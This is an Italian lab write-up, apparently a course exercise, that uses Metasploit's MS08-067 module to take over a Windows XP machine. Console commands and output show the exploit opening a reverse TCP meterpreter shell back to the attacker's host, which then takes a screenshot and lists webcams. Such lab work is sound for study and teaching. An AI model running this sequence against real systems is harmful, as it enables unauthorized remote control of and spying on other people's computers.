

Viene richiesto di ottenere una sessione di *meterpreter* sul target Windows XP sfruttando con Metasploit la vulnerabilità MS08-067.

Per prima cosa avviamo la console con *msfconsole* e cerchiamo l'exploit da utilizzare

```
msf6 > search MS08-067
Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example `info 0`, use `0` or use `exploit/windows/smb/ms08_067_netapi`

```
msf6 > use 0
```

Poi con *show options* andiamo a controllare le impostazioni da settare

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):



| Name    | Current Setting | Required | Description                                                                                                                                 |
|---------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/">https://docs.metasploit.com/docs/using-metasploit/</a> |
| RPORT   | 445             | yes      | The SMB service port (TCP)                                                                                                                  |
| SMBPIPE | BROWSER         | yes      | The pipe name to use (BROWSER, SRVSVC)                                                                                                      |



Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.1.100   | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name                |
|----|---------------------|
| 0  | Automatic Targeting |



View the full module info with the info, or info -d command.
```

Impostiamo l'ip del target con `set RHOSTS 192.168.1.103` e facciamo partire l'exploit

```
msf6 exploit(windows/smb/ns08_067_netapi) > set RHOSTS 192.168.1.103
RHOSTS => 192.168.1.103
msf6 exploit(windows/smb/ns08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.103:445 - Automatically detecting the target...
[*] 192.168.1.103:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.1.103:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.1.103:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.1.103
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.103:1034) at 2024-01-17 09:38:23 +0100
```

In questo modo abbiamo una sessione di meterpreter attiva in cui possiamo impartire i comandi necessari:

```
meterpreter > screenshot
Screenshot saved to: /home/kali/pwDFgrd0.jpeg
meterpreter > webcam_list
[-] No webcams were found
meterpreter > |
```



